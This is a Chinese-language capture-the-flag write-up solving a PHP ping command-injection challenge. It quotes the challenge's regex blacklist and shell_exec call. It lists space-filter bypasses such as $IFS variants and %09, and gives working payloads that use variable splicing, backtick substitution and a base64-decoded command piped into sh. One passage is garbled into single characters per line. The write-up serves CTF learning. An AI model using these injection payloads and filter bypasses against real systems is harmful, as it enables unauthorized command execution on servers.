题目

解题过程
1、题目页面提示?ip=,猜测是让我们把这个当做变量上传参数,由此猜想是命令注入

2、用管道符加上linux常用命令ls(windwos可以尝试dir)试试
所谓管道符(linux)的解释与用法如下:  尝试命令:
?ip=127.0.0.1;ls
 看到flag.php,那就使用cat flag.php命令尝试读取
?ip=127.0.0.1;cat flag.php
 被过滤了空格,过滤空格的方法如下:
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
尝试命令1:
?ip=127.0.0.1;cat$IFS$1flag.php

还是被过滤了 查看一下index.php,查看一下过滤机制,命令如下:
?ip=127.0.0.1;cat$IFS$1index.php

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这些是正则匹配的过滤方式,好像过滤了很多命令
1、利用*匹配任意不行
?id=127.0.0.1;cat$IFS$1fl*
被过滤了 
2、尝试base64绕过
?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash

还是不行
3、尝试ca\t$IFS$1fl\ag.php
?ip=127.0.0.1;ca\t$IFS$1fl\ag.php

被过滤了
4、尝试cat fl’'ag.php
?ip=127.0.0.1;cat$IFS$1fl’'ag.php

还是被过滤了
5、构造一个
a
变
量
,
尝
试
a
=
g
;
c
a
t
a变量,尝试a=g;cat
a变量,尝试a=g;catIFS
1
f
l
a
1fla
1flaa.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
 成功,可以在注释里找到flag
6、使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.php 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了)
?ip=127.0.0.1;cat$IFS$9`ls`
 成功,可以在注释里找到flag
7、base64绕过时bash被过滤了,尝试用sh代替
?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
 成功,可以在注释里找到flag
总结
以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!
|